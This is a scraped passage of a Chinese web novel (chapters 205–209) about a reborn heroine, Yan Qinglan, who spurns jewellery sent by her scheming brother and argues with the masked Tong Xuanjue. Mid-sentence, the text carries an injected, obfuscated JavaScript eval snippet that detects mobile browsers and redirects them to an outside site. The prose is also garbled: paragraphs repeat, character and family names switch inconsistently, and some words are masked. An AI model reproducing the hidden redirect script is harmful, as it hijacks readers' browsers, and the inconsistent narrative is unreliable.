这羡慕倒也不全是装的。 想当初,晏清澜在她眼里,不过是个为了讨好钱雅芝,什么事都做得出来的病秧子。 可如今呢? 那个曾经怯懦无比的人,早已脱胎换骨。 杀伐果断,眼睛都不眨一下就能要人性命。 想到这里,晏清萦心里五味杂陈。 羡慕,嫉妒,还有一丝……隐隐的畏惧。 “我听说,陆家人向来低调,不喜与外人过多来往。” 晏远舟将手中的茶盏轻轻放在桌上,发出轻微的“叩”的一声。 他目光落在晏清萦的面纱上, “四妹妹能得陆家另眼相看,当真难得。” 他顿了顿,话锋一转, “五妹妹,这里头……可有什么缘故?” 晏清萦知道,晏远舟这是不打算再绕弯子了。 也是,对她一个庶女,何必费那么多心思。 晏清萦嘴角微微一扯,眼角的余光扫过晏远舟始终未碰的那杯茶。 她心底冷笑,这位二哥,平日里装得再像个清心寡欲的君子,终究也只是个装模作样的赝品。 “要说缘故……” 晏清萦抬眸,看向晏远舟,语气缓缓, “大概是因为……四姐姐曾救过陆家大小姐的性命吧。” 有些事情,她虽未亲眼所见,却也听了不少。 晏远舟眉头一挑, “救命之恩?” 语气里带着一丝怀疑,还有一丝……不加掩饰的不耐。 “可不是,” 晏清萦轻轻叹了口气, “听说当时情况可凶险了,陆大小姐差点就被一条毒蛇给咬了,幸亏四姐姐眼疾手快……” 她没有添油加醋,只是将听来的传闻,稍加润色,转述给了晏远舟。 “二哥是不知道,那蛇有多厉害,听说是剧毒无比,真要被咬上一口,神仙来了也难救。” 晏远舟微微颔首, “原来如此。” “不过……” 晏清萦话锋一转, “救命之恩固然重要,但四姐姐自身的本事,也是不容小觑的。否则,又怎能入得了顾将军的眼?” 至于是什么样的本事…… 晏清萦自己也说不太清。 或许是晏清澜身上那种与生俱来的傲气和决断吧。 这些,是她永远也学不来的。 “时辰不早了,二哥请便。” 晏清萦起身,做了个“请”的手势。 晏远舟已经得到了他想要的消息,自然不会多留。 他站起身,整了整衣袖,临走前,又状似关切地嘱咐了晏清萦几句。 晏清萦微微欠身,应了一声。 目送晏远舟离开后,晏清萦脸上的恭顺瞬间消失。 她又不是傻子,怎会看不出晏远舟的心思? 只是……她不想惹祸上身。 庄家的这把火,她可不想被烧到。 只能委屈四姐姐,替她挡一挡了。 晏远舟走出院子,抬头看了看阴沉的天色,长长地舒了一口气。 他闭上眼睛,在脑海中快速回忆着关于晏清澜的过往。 然而,儿时的记忆却如同一团迷雾,模糊不清。 那时的晏清澜,就像一片落叶,无足轻重。 可如今…… 这个曾经毫不起眼的四妹妹,却已然成为了一股不可忽视的力量。 归朝宴上的惊鸿一瞥,让他至今记忆犹新。 虽说如今天下太平,暂无战事,但他深知,手握兵权的重要性。 晏清澜此人,绝非池中之物,再加上她身后的陆家…… 晏远舟低头,看着袖口上绣着的青竹,眉头紧锁。 在这场皇权的博弈中,谁能掌握兵权,谁就占据了主动。 可偏偏…… 晏清澜对苏府的态度,简直是司马昭之心,路人皆知。 最明显的,莫过于那把古琴。 她宁可送给一个外人,也不愿留给自己的亲妹妹。 这已经不仅仅是古琴的问题了。 而是晏清澜的态度。 她不愿与苏府有任何瓜葛。 小到一把琴,大到…… 晏远舟的嘴角勾起一抹冷笑。 那可就太多了。 他大步流星地回到自己的院子,唤来贴身丫鬟: “你去给我准备些东西,要那种……小姑娘家喜欢的,精致些的,最好是独一份的。” 丫鬟一愣, “爷,这是要送给六姑娘的吗?” 晏远舟微微点头, “嗯,别多嘴,只管去办就是。” 丫鬟应了一声,退了下去。 晏远舟平日里极少做这些事,就算是给晏玥玥买东西,也都是让下人去办。 像这样亲自吩咐,还是头一回。 晏远舟的眼神晦暗不明,随手拿起一本书,翻了几页,却又看不进去,索性丢到了一边。 几日后,汴京城最繁华的街道上,人潮涌动。 “阿清姐姐,你就陪我逛逛嘛!” 宋溪溪挽着晏清澜的胳膊,撒娇似的摇个不停, “人家都好久没来这汴京城逛过了。” 晏清澜看着她那副可怜巴巴的模样,无奈地笑了笑, “好。” 她放下手中的书卷,应了下来。 正好,她也想听听这汴京城里最近都发生了些什么事。 童玄珏那边还没有任何动静,她也只能静观其变。 让桂柔继续盯着赵家。 钱玉明最近倒是安分了不少。 看来,赵家也怕有人从他身上下手。 说是逛街,其实也没什么可逛的。 汴京城里的新鲜玩意儿是不少,但看多了,也就那样。 宋溪溪倒是兴致勃勃地挑了几支发簪,几件衣裳。 晏清澜却对这些东西没什么兴趣。 逛了半天,她只在一家兵器铺子里看中了一把小巧的匕首。 “哇,这簪子真好看!阿清姐姐,你戴上一定好看!” 宋溪溪拿起一支镶嵌着猫眼石的簪子,在晏清澜的鬓边比划着。 晏清澜只是淡淡地“嗯”了一声。 宋溪溪便兴冲冲地跑去付钱了。 晏清澜站在原地,随意地打量着四周。 突然,她的目光停留在了一个熟悉的身影上。 那不是……桂兰吗? 晏远舟的贴身侍女,她怎么会在这里? 晏清澜的眉头微微一挑,眼神中闪过一丝疑惑。“阿清姐姐,咱们走吧。 第二百零五章 ” 身后,宋溪溪嗓音清甜,她已付完了银钱,蹦蹦跳跳地过来,亲热地挽住晏清澜的手臂。 晏清澜轻轻点头,目光似有若无地扫过身旁的货架。 适才,她与桂兰离得极近,桂兰挑拣之物,她尽收眼底。 但这与她何干? “嗯。”她语气淡淡,并未将此事放在心上。 倒是另一侧的桂兰,听到“阿清”二字,身子微不可察地一顿,下意识抬眸,朝这边望来。 然而,映入眼帘的,只有两个渐行渐远的窈窕身影。 …… 日落西山,归鸦阵阵。 晚膳时分,晏清澜与宋溪溪一同在陆家用饭。难得清闲,她便打算宿在陆家。 陆家待她一向亲厚,即便她不常来,她院中的一应物事,皆备得妥妥帖帖,更有丫鬟每日洒扫,纤尘不染。 前些时日,阳光炽烈,今日却难得阴沉,没了日头炙烤,倒也凉快。 晏清澜无事可做,索性在院中练起剑来。 剑刃破空,带起细微的“嗖嗖”声,她身姿翩跹,如蝶舞,灵动却又蕴含着力量。 “好剑法!” 一声清越的赞叹,突兀地自墙头响起。 童玄珏竟不知何时来的,正大咧咧地坐在墙头,一双凤眸闪着熠熠光彩,饶有兴致地打量着她。 晏清澜眼力极佳,一眼便瞧见他指间把玩着的那把匕首。 匕首样式精巧,护手处,更镶嵌着一颗圆润的绿松石。 这与四年前那把……简直如出一辙。 她默不作声地眯了眯眼,握紧手中长剑,剑尖斜指地面,冷声质问: “童玄珏,你深夜造访陆家,意欲何为?” 她警惕性向来极高,可直到童玄珏出声,她才察觉到他的存在。 足见此人内力之深,远超常人。 童玄珏身形一侧,轻而易举地避开了她的剑招,甚至还有余力朝她挑眉一笑: “我可不是为了陆家来的,我是为你而来。” 他稍顿,语带戏谑: “你不是想查阅钱玉明的案卷么?本想单独与你商议,奈何你身旁总有陆家姑娘相伴。” “晏四姑娘公务繁忙,我可是足足等了许久,才等到你遣散了院中丫鬟,独自在此练剑。” 他微微扬起下颌,平日里冷峻的凤眸,此刻竟显出几分风流韵致。 晏清澜见他将跟踪之事说得如此冠冕堂皇,不由得暗自翻了个白眼。 跟踪还有理了? 她心中冷哼,剑招骤然凌厉,剑光如银蛇乱舞,招招直指童玄珏要害。 她倒要好好掂量掂量,这家伙究竟有几斤几两。 童玄珏眸色微沉,收敛起先前的漫不经心,开始凝神应对。 霎时间,剑影翻飞,寒光闪烁。 一个剑势凌厉,如狂风骤雨,步步紧逼。 一个身法诡谲,如鬼魅游龙,密不透风。 两人你来我往,已过百余招,竟是势均力敌,难分胜负。 童玄珏眼中掠过一抹激赏: “晏清澜,当真小瞧你了,你这身手,着实不俗。” 晏清澜亦收起轻视之心,神情肃然: “彼此彼此。” 童玄珏正欲再进一步试探,忽然,一阵轻微的脚步声,缓缓传来。 他反应神速,足尖在墙头轻点,身形一闪,便没了踪影。 晏清澜徐徐收剑,朝墙头方向瞥了一眼,唇角勾起一抹若有似无的笑意。 溜得倒快。 她转身,望向院门处。 习武之人,耳聪目明。 那渐行渐近的脚步声,她自然也听得真切。 “吱呀”一声,院门被推开。 宋明澜走了进来,手里拎着几个样式古朴的盒子,见到晏清澜额上细密的汗珠,不由得扬眉: “阿清,你偷偷练功不带我?” 晏清澜自石桌上取过帕子,随意擦了擦额角的汗,淡淡道: “不过是活动活动筋骨罢了。大哥,你怎的来了?” 她就是嘴上随便问问。 毕竟,宋明澜素来守礼,极少踏足她与宋溪溪的院落。 宋明澜将手中的盒子放在桌上,轻描淡写地说: “受人之托,给你送些东西。” 晏清澜的视线落在桌上几个毫不起眼的盒子上,微微一怔: “旁人托你送来的?” 她想起在临川时,常有人托宋明澜带东西给她,便下意识地摇了摇头: “大哥,你还是替我还回去吧。” 若在往常,宋明澜定然毫不犹豫地应允。 然而此刻,他脸上却闪过一丝转瞬即逝的迟疑。 晏清澜何等敏锐,立刻捕捉到了他神色的微妙变化,脸上的笑意敛去几分,声音也沉了下来: “可是……庄家的人送来的?” 宋明澜默然片刻,最终还是点了点头,将盒子在石桌上放好: “今日回府途中,偶遇晏远舟,他……似是专程等候,托我将这些交予你。” 他顿了顿,声音低沉了几分: “还让我……带句话给你。” 晏清澜垂下眼睑,长睫掩住了眸中翻涌的情绪。 她早有预料,这一日迟早会来。 只是没想到,会来得这般快。 她的唇角微微勾起,笑容中却带着几分难以言喻的冷冽。 “哦?他说了什么?” 她声音很轻,却透着一股不容置疑的寒意。 宋明澜看着她,努力回想着晏远舟的话,一字一句地复述: “他说,归朝宴那日,见你发饰素净,便擅自做主,为你挑选了几样首饰……” 他微微停顿,似乎在斟酌措辞: “他还说,知你素来不喜这些俗物,但……你是他妹妹,无论你是否需要,旁人有的,你也理应拥有……” “他还说,以往种种,皆因他思虑不周,让你受了委屈,日后……你独自在外,务必珍重自身……” 晏清澜静静听着,眸中光影变幻不定。 这番言辞,若出自肺腑,倒真像是一位兄长对妹妹的关切之语。 正如晏远舟平日里所展现的那般,温文尔雅,谦和有礼。 然而,假象终究只是假象,再如何逼真,也掩盖不了内里的虚伪。 从始至终,她的视线,都未曾在那几个盒子上停留片刻。 “大哥,你觉得……我该原谅他吗?” 她抬眸,望向宋明澜,目光中带着一丝探寻: “在你眼中,晏远舟……可算得上是一位称职的兄长?” 宋明澜摇了摇头,坦然道: “我不知,我与他并无深交。” 晏远舟给人的感觉,的确与晏景文、晏雨珩截然不同。 可这又能说明些啥呢? 他走到晏清澜身侧,轻轻替她拂去肩头落叶,语气温润,带着少年人独有的纯粹与真挚: “阿清,是否原谅,全在于你,无需征求我的意见。” “我将这些东西带来,并非为了劝你宽恕。只是,这是晏远舟交予你的,我无权擅自处理。” 他顿了顿,目光清澈地看着晏清澜,缓缓道: “其实,我并不相信晏远舟会真心待你如妹。 第二百零六章 ” “归朝宴上,周雨柔步步紧逼,甚至提出与你切磋,除了晏子晏,庄家上下,竟无一人出言阻止。” “我知道,以你的本事,周雨柔那些伎俩,根本伤不了你。你的箭术,我再清楚不过。那些阴谋算计,更瞒不过你的眼睛。” “可是,你的那几个兄长,他们并不知晓这些啊。”“阿清,是否原谅,全在于你,无需问我。” 宋明澜温声说着,抬手,轻轻替晏清澜拂去肩头落叶。指尖似乎还带着阳光的暖意,声音低沉而真挚: “我带这些东西来,并非为了劝你宽恕。晏远舟既然指名给你,我便无权擅自处理。” 话音稍顿,他微微侧过身,目光清澈如溪水,静静地注视着晏清澜,话里带上了一丝难以言喻的涩意。 “晏远舟,我不信他会真心待你。” “归朝宴那日,周雨柔咄咄逼人,甚至以切磋为名,行挑衅之实。可除了子晏,你那几位兄长,竟无一人为你说话。” 宋明澜的话,像一根细细的针,轻轻刺入了晏清澜的心房。 她微微垂眸,掩饰住眼底那一闪而逝的痛楚。 是啊,谁都看得出周雨柔来者不善,可那些所谓的“家人”……呵,不过是看客罢了。 “我知道,以你的本事,周雨柔那点伎俩,伤不了你分毫。你的箭术如何,我再清楚不过。那些阴谋算计,于你而言,更是不值一提。” 宋明澜的声音低低的,带着一丝不易察觉的心疼,像是怕惊扰了什么。 “可是,阿清,你的那几个兄长,他们并不知晓这些啊。” 这话,听起来似乎是为庄家开脱。 但晏清澜知道,宋明澜只是在陈述一个事实。 一个让她觉得无比讽刺的事实。 临川四年,晏远舟又在哪里?音讯全无! 除了晏老夫人和晏芸清,谁还记得她晏清澜? 现在却巴巴地送来这些东西…… 晏清澜嘴角勾起一抹冷笑,只觉得这所谓的兄长情深,当真可笑至极。 她缓缓抬起眼眸,目光在那几个精致的首饰盒上轻轻一扫。 步摇、发钗、镶蓝宝石的小簪子…… 件件精美,价值不菲。 可越是精美,越是让她觉得刺眼。 晏清澜猛地合上盖子,发出“啪”的一声,仿佛要将那些虚伪的假象一同封存。 她抬眸,看向宋明澜,眼底翻涌着压抑的怒火,声音却平静得出奇: “大哥,你找个小厮,把这些还给晏远舟吧。” 宋明澜并不意外,以他对晏清澜的了解,别说是晏远舟,就是晏子晏送的,她也未必会收。 他刚要点头应下,却听晏清澜话锋一转,语气中带着几分决绝: “算了,还是我自己来吧。” 宋明澜一愣,下意识地想要开口劝阻。 可看着晏清澜那微微眯起的双眼,闪烁着冷冽的光芒,他到嘴边的话又咽了回去。 他了解晏清澜,她决定的事,轻易不会改变。 更何况,这本就是她的家事。 “不必为此烦心,”宋明澜轻轻拍了拍她的肩膀,柔声安抚道,“是留是弃,全凭你心意。” 晏清澜微微侧头,避开了他的手,嘴角勾起一抹若有似无的笑意。 弃了?那多浪费。 总得让这些东西,发挥点儿应有的价值。 她看着宋明澜,眼神闪烁,沉默了片刻,才缓缓开口,声音低沉而认真: “大哥,晏远舟这个人,给我的感觉很奇怪。” “我不喜欢他,不是因为苏府,而是……说不清道不明的一种感觉,让我很不舒服。” 宋明澜微微颔首,他知道晏清澜心思细腻,对人对事,都有着超乎常人的敏锐直觉。 “阿清,你放心,我不会让他再有机会打扰你。” 宋明澜语气坚定,带着不容置疑的决心。“从今往后,他送来的东西,我一概不收;他若有事相求,我也绝不理会。” 晏清澜闻言,却只是轻轻叹了口气。 宋明澜虽是好意,却终究没有完全明白她的意思。 她担心的,并非是晏远舟的礼物,而是…… 前世,晏远舟可是害得陆家满门抄斩的罪魁祸首之一! 可这些,她要如何说出口? 难道要告诉宋明澜,她能预知未来? 晏清澜垂下眼睑,掩去眼底的复杂情绪,只是淡淡道: “收下也无妨,左右庄家家大业大,不缺这点银子。” 宋明澜见她神色有异,眼中闪过一丝了然。 他失笑,伸手捏了捏晏清澜的脸颊,语气中带着几分宠溺和无奈: “你这丫头,又在打什么鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218592|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意?” 晏清澜一把拍开他的手,佯怒道:“什么鬼主意?我只是在想,该如何回礼罢了!” 宋明澜自然不信。 正想再说些什么,却见晏清澜已转身拿起佩剑,仔细擦拭起来,一副不愿多谈的样子。 “大哥,我有些乏了,想歇息片刻,你先回吧。” 宋明澜见她额角还带着薄汗,想来是练剑累了,便也不再多言,只是细心地叮嘱了几句: “仔细着些,别吹了风。这大热天的,生病了可不好受。” 晏清澜头也不抬地应了一声。 宋明澜这才转身离去。 院子里,重新恢复了寂静。 晏清澜的目光,缓缓落在那堆锦盒上,眼神冰冷,唇角勾起一抹玩味的弧度。 晏远舟啊晏远舟,你这出戏,演得可真够拙劣的。 亲手挑选? 呵,当她是三岁孩童,没见过桂兰用过的东西么? 他一视同仁,虚情假意,**。 便是苏府最得宠的晏玥玥,怕也未必能得他几分真心。 “你的好哥哥们,似乎都嗅到了你身上的价值。” 童玄珏不知何时又出现在了她身后,声音清冷,不带一丝温度。 “尤其是你那位二哥,怕是已经迫不及待了。” 晏清澜猛地转过身,冷冷地瞥了童玄珏一眼: “你怎么还没走?” 童玄珏无辜地耸了耸肩,理所当然道: “有戏看,我为何要走?” 今日的风,确实有些大。 几片枯黄的梧桐叶,打着旋儿飘落。 其中一片,不偏不倚,落在了晏清澜的发顶。 童玄珏的目光,在那片落叶上停留了一瞬。 他下意识地伸手,想要替她拂去。 可他的手还未碰到晏清澜的发丝,便被她一把擒住。 “啪”的一声,清脆而响亮。 晏清澜的动作极快,力道也极大。 童玄珏的手腕,瞬间便红了一片。 他微微皱眉,却并未挣扎。 晏清澜冷冷地看着他,眼神锐利如刀: “燕王殿下,这是做什么?” 童玄珏无奈地笑了笑,将那片落叶从她发顶取下,在她面前挥了挥手: “别误会,只是帮你拂去落叶而已。 第二百零七章 ” 他微微挑眉,语气中带着一丝玩味: “方才宋明澜帮你掸去肩上落叶,也没见你反应这般大。” 晏清澜冷哼一声,将他的手甩开: “他是我大哥,与你何干?” 宋明澜行事光明磊落,她自然无需防备。 可童玄珏…… 这人阴晴不定,心思深沉,谁知道他安的什么心? 她可不想稀里糊涂地着了他的道。 不过,考虑到他方才或许当真只是好意,晏清澜还是勉强道了声“谢”。 童玄珏不置可否,似乎并不在意她的道谢。 他微微眯起眼睛,打量着晏清澜,语气忽然变得有些古怪: “大哥?我记得,你与宋明澜,似乎并无血缘之亲吧?” 他的目光,若有似无地在那堆锦盒上扫过,语气愈发意味深长: “你这哥哥,倒是认得挺多。一个宋明澜,四个亲哥哥……怎么,还嫌不够?” 晏清澜听得眉头紧锁,心中一阵烦躁。 这童玄珏,又发什么疯? 她懒得与他纠缠,索性冷笑一声,毫不客气地反唇相讥: “我哥哥多,碍着你什么事了?你若是羡慕,大可以自己去认。” “左右庄家家大业大,多个把弟弟,也不算什么。” 童玄珏的脸色,微微一沉。 晏清澜得意的挑了下眉,又补充道: “只是不知,你这年纪,能认谁做哥哥……我记得,你才及冠没几个月吧?如此算来,你只能叫晏景文和晏远舟兄长了,晏雨珩和你同岁,你比他大了几个月呢。” 童玄珏周身气息变得低沉,似有山雨欲来之势。半晌,他才幽幽开口,声音里带着几分不易察觉的异样: “你怎知,我的生辰是在上元节?” 他自己都快忘了的事,她竟还记得? 这感觉,当真有些奇怪。“打听你的生辰?很难吗?” 晏清澜眼尾轻轻一挑,连眼皮都懒得抬一下。她实在不明白,童玄珏怎么总爱问些没营养的废话。在这京城里头,做她们这一行的,谁还没几个消息灵通的门路。 童玄珏没料到她会这般轻描淡写地回答,微微一愣。随即,“啪”地一声,他潇洒地打开折扇,在石桌旁寻了个位置坐下,身体轻轻向后倾斜,唇角勾起一抹玩世不恭的笑: “是不难。只是本公子有些好奇,你打听这个做什么?” 他顿了顿,身子微微前倾,一双勾人的桃花眼微微眯起,眸光流转间,带着几分戏谑,声音也压低了几分,像是情人间的呢喃: “怎么,莫非你看上本公子了?所以才事无巨细,什么都想知道?” “想知道什么,只管问我就是,何必花那冤枉银子去问旁人?” 他摇着扇子,语气中带着一丝自得,仿佛在说,这是你莫大的荣幸。 晏清澜:“……” 她无语地翻了个白眼,恨不得将手里的茶杯直接泼到他那张俊美无俦的脸上。 这人,怕不是又犯病了? 她深吸一口气,努力平复着心头的烦躁,懒得跟他多费口舌,索性顺着他的话说: “行行行,是是是,您说什么就是什么吧。” 语气敷衍至极,简直把“懒得理你”四个字写在了脸上。 童玄珏是何等敏锐之人,怎会听不出她话里的不耐烦。他也不恼,只是“啪”的一声合上折扇,随手打开桌上的一个锦盒。 他修长的手指轻轻一挑,捏起那枚蝶形簪子,只随意扫了一眼,那双好看的凤眸中便闪过一丝毫不掩饰的嫌弃: “真丑,你平日里就喜欢这些?” 他把玩着那支步摇,语气轻佻,像是在点评一件不值一提的小玩意。 晏清澜甚至懒得抬头看他一眼,只是淡淡地回了一句: “你哪只眼睛见我戴过这些?” 她向来不喜欢这些花里胡哨的玩意儿。 童玄珏将步摇扔回盒子里,动作间带着几分随意,甚至可以说是粗鲁。那步摇在盒子里滚了几圈,发出轻微的碰撞声。 “咔哒”一声,他面无表情地合上锦盒盖子,抬眸看向晏清澜: “也是,你这性子,确实和这些东西不搭。” 他想,除了某些必须盛装打扮的场合,她平日里的穿戴向来素净,从不肯多戴一件首饰。 晏清澜将擦拭得锃亮的长剑缓缓归鞘,动作利落而优雅,没有一丝多余的动作。 她唇角微微一勾,抬眸看向童玄珏,顺手拔下头上那支乌木发簪。 这发簪,通体乌黑,毫不起眼,只在尾部缀了一颗小小的珍珠, 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“说起来,”童玄珏话锋一转,“你托我寻的那卷宗,如今怕是没工夫细看了。” 他抬眸,目光定定地落在晏清澜身上,语气清冷,却带着一丝不容置疑: “我最晚等你到明天中午,过时不候。” 晏清澜神色未变,依旧是那副云淡风轻的模样,只是淡淡地应了一声: “好,改天我来见你。” 至于晏远舟送来的这些东西要怎么处理,她只字未提,也不打算现在就告诉童玄珏。 童玄珏倒也不急,他微微侧过头,瞥了晏清澜一眼,眼尾微微上挑,带着几分意味深长: “不必了,你就在浮萍居等着,等我便是。” 语气中带着一丝不容拒绝的意味,仿佛他已经替她做好了决定。 晏清澜也懒得在这种无关紧要的小事上跟他争执,只是轻轻点了点头。 她忽然想起一事,抬眸看向童玄珏,问道: “对了,我易容所需的衣物,是你备着?还是让我来搞定?” 她不是没有男装,正相反,她那儿各式各样的男装多的是,比寻常男子的衣柜都丰富。 第二百零八章 她这么问,纯粹就是为了堵他的嘴,省得他日后又寻些乱七八糟的借口来找茬。 童玄珏轻嗤一声,心想这小狐狸,还真是处处小心,时时提防。 他看着晏清澜那张明艳动人的脸,突然觉得有些手痒。 他没忍住,伸出手,在她脸颊上轻轻一拧: “怎么,你这是把我当成宋明澜那样的冤大头了?什么事都想让我替你包圆了?” 他的语气中带着一丝戏谑,还有一丝不易察觉的恼意。 “我可没把你当成亲妹妹那般娇惯。” 他顿了顿,又补充了一句,语气意味深长。 晏清澜“啪”的一声,毫不留情地拍开他的手,力道之大,甚至发出了一声脆响。 她狠狠剜了他一眼,没好气地说道: “童玄珏,你今儿是吃错药了?还是出门没带脑子?” 这人,真是越来越放肆,越来越没个正形了。 童玄珏吃痛,却也没恼,只是揉了揉被拍红的手背,轻描淡写地说道: “没什么,就是想试试,你这脸皮到底有多厚。” 他这话,说得轻飘飘的,却带着几分挑衅的意味,像是在故意激怒她。 晏清澜冷笑一声,毫不客气地怼了回去: “论起脸皮厚,这京城里谁能比得过你江大公子啊?” 她这话,说得毫不留情,简直是把童玄珏的脸面往地上踩。 童玄珏嘴角的笑意微微一僵,视线停在她泛起红晕的脸上,眸色渐深。 他垂眸,漫不经心地把玩着腰间的一块玉佩,突然勾唇一笑,那笑意却不达眼底。 他抬眼,直视着晏清澜,语气轻缓,却带着一丝莫名的意味: “看着是挺厚,其实也没几两肉,陆家是克扣你饭食了?” 他的手指轻轻摩挲着那块玉佩,心想,她的脸其实还挺嫩。 他方才并未用力,轻轻掐了一把,被他掐过的位置,就泛起了一层浅浅的粉色,倒像是抹了胭脂一般。 晏清澜懒得搭理他这无聊至极的玩笑,她顺手抄起桌上物件,转身就往屋里走,连一个眼神都懒得再给他。 刚走了两步,她像是想起什么似的,突然顿住脚步,头也不回地冷冷丢下一句: “别跟进来。” 她的声音冰冷,带着一丝毫不掩饰的厌烦和警告。 童玄珏原本还真打算跟上去,可听到她这话,硬生生止住了脚步。 他摊开手,做出一副无辜的样子,耸了耸肩: “行,我不进去。” 他倒也真没再往前走一步。 童玄珏解下腰间的那块玉佩,在指尖随意地把玩了几下,然后手腕一翻,将玉佩抛向晏清澜: “拿着,算是赔罪。” 他的语气,像是哄小孩一般,带着几分漫不经心。 晏清澜猝不及防,下意识地接住那块玉佩,入手冰凉,触感细腻。 她低头一看,那玉佩通体莹白,雕工精湛,一看就价值不菲。 她攥着掌中玉坠,感觉手里捏着个定时**,扔也不是,不扔也不是。 她咬牙切齿,胸中的怒火“腾”地一下就蹿了起来,她猛地转过身,一双美目死死地盯着童玄珏,几乎是从牙缝里挤出几个字: “江!寒!钰!” 她的声音,带着压抑不住的怒火,像是随时都会爆发的火山。 童玄珏挑了挑眉,有些莫名其妙地看着她: “又怎么了?我这回可什么都没做。” 他觉得自己最近真是倒霉,好像不管做什么,都能惹她生气。 晏清澜深吸一口气,努力压下心头的怒火,她“啪”的一声,将玉佩拍在桌上,动作粗鲁而决绝,那玉佩在桌面上发出一声脆响: “拿走,我不要这破玩意儿。” “你再敢这般阴阳怪气,我可真不客气了。” 她咬牙切齿地说道,眼中的怒火几乎要喷薄而出,像是要把童玄珏给烧成灰烬。 童玄珏一愣,他是真没想到晏清澜会发这么大火。 他无奈地叹了口气,语气也软了下来,带着几分哄劝的意味: “行行行,不要就不要,你别生气啊。” “明日一早,我便来寻你,易容的衣物,我来准备,这下应该没问题了?” 他试图缓和一下气氛,不想把事情闹得太僵。 晏清澜冷冷地看了他一眼,抱着剑,转身就走,毫不犹豫: “用不着。” 她丢下这句话,头也不回地进了屋,只留给童玄珏一个决绝的背影。 童玄珏站在原地,看着她毫不留恋地离去,一时间竟不知该说些什么。 他有些烦躁地抓了抓头发 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她嘴角微勾,露出一个意味不明的笑。 “言语轻佻,故作姿态,”她微微抬起下颌,目光在童玄珏身上逡巡,“这还不算是使出浑身解数?” 她停顿了一下,视线最终落在了童玄珏的面具上,语气里带着一丝难以掩饰的讥诮。 “你大可不必如此。” 晏清澜的指尖在剑鞘上轻轻摩挲,声音很低,仿佛只是在自言自语。 “真想试探,不如摘了面具。” “毕竟——”她故意拖长了尾音,眼神骤然变得凌厉,“我若真被你这张脸迷了心窍,说不定就什么都说了呢?” 她这话说得轻佻又刻薄,一字一句,都像针一样扎在童玄珏心上。 他能感觉到,晏清澜是真的恼了。 平日里总是一副冷淡模样的晏清澜,此刻竟也动了怒。 双颊染上了一层薄薄的绯色,像胭脂晕染在白玉上。 让这个平日里清冷得不食人间烟火的女子,也沾染了几分尘世的艳色。 童玄珏的目光微微一凝。 他没有开口,只是静静地看着晏清澜那张明艳得有些张扬的脸。 第二百零九章 晏清澜也毫不退缩,冷冷地回视着他。 两人之间的空气,仿佛凝固成了一块寒冰,散发着阵阵凉意。 良久, 童玄珏缓缓抬手,揭下了那张青玉面具,露出了面具下那张俊美得令人屏息的脸。 他微微扬起唇角,眼神里却带着几分自嘲。 身体往后轻轻一靠,他将面具在指尖把玩,发出轻微的“簌簌”声。 “你早就知道我的长相。” 他没有用疑问的语气。 晏清澜不置可否地扯了下嘴角,既没承认,也没否认。 只是那双清冷的眸子,早已说明了一切。 “说吧。”童玄珏抬眸,定定地看着她,“啥时候看出来的?” 晏清澜看着他的眼睛。 世人皆赞韩承煜与晏府四公子风姿特秀,龙章凤姿。 可他们不知,人外有人,天外有天。 若论相貌,童玄珏称第二,这世间,就没人敢说自己天下第一。 她微微挑眉,语气随意:“很早。” 早到何时? 早到她救了他,顺手从他那里“拿”了八千两黄金当诊金的时候。 刚穿书那会儿,她还暗自庆幸,自己运气不算太差,没在第一天就碰上书中最大的反派。 毕竟,童玄珏那张脸,实在太容易让人放松警惕。 直到—— 她为他处理伤口时,看到了他腹部那道狰狞的、陈旧的刀疤。 还有他背部那一片,明显是经年旧疾的烧伤。 她才恍然想起,原书中,似乎确实曾提过,童玄珏身上有这两处伤。 原本,她与童玄珏,大可以相安无事。 他在她面前装,她便也装作不知。 两不相干。 可偏偏,童玄珏今日的举动,触了她的逆鳞。 她与童玄珏无亲无故,他却将贴身玉佩扔给她,还一反常态地伏低做小,只为让她消气。 甚至,还想伸手捏她的脸,说什么她脸上没肉,是不是平日里吃不饱饭。 这些话,这些动作,若是放在熟稔的朋友之间,倒也没什么。 但,童玄珏不该对她做。 至少现在,他们还没熟到可以随意开这种玩笑的地步。 他的玉佩,也不是她能随便收的。 平日里,童玄珏言语上占些便宜,她尚可忍。 但今天,他过线了。 童玄珏没料到她会这么说,但他没问她口中的“很早”是多早。 他只是看着晏清澜的眼睛,试图辩解:“你要是觉得我在套路你才发火,那大可不必。” “我今日,并无试探之意。” 晏清澜听了这话,心里冷哼。 鬼才信他。 她斜睨了童玄珏一眼,故意拖长了声音“哦”了一声,语气敷衍至极。 “你说没有,那便没有吧。” 童玄珏被她这态度噎得一窒。 他头疼地捏了捏鼻梁,感觉有些疲惫。 晏清澜这轻描淡写的一句话,反倒显得他像是在无理取闹。 他长出一口气,尽量让自己的语气听起来平和:“我真没有,你不必如此阴阳怪气。” 晏清澜扯出一个僵硬的笑,点了点头:“好的呢。” “……”童玄珏彻底没了言语。 这天,这对话是彻底凉凉了。 若是让旁人瞧见他们这副模样,怕是要惊掉下巴。 平日里一个冷若冰霜,一个疏离淡漠,何曾有过这般……“接地气”的时候? 童玄珏盯着她看了会儿,忽地笑了。 他算是明白了,那些话本里写的,女子生气起来毫无道理,还真不是空穴来风。 至少,晏清澜生气,他就摸不着头脑。 他索性把问题挑明:“你不说,我怎么知道你为什么生气?” “要是我搞砸了,你总得告诉我,我才能改。” “不然呢?下次再犯,你再气一回?” 晏清澜看着他,原本紧绷的脸色,缓和了些许。 她本可以像那些无理取闹的女子一般,回一句“你错哪儿了你自己不知道吗”。 但,她不是那些人。 她向来有一说一,从不藏着掖着。 既然童玄珏问了,她便直说。 “你以后,别再这样了。”晏清澜皱着眉,语气认真。 “我不管你是有意还是无意,真心还是假意,今日之事,下不为例。” 她顿了顿,又补充道:“还是说,你以后见着别的姑娘,也要动手动脚,再赔上你的玉佩?” 童玄珏被她问得一愣。 他下意识地反驳:“自然不会。” “今日是我失了分寸,以后不会了。” 他语气诚恳,不似作伪。 童玄珏并非轻佻之人。 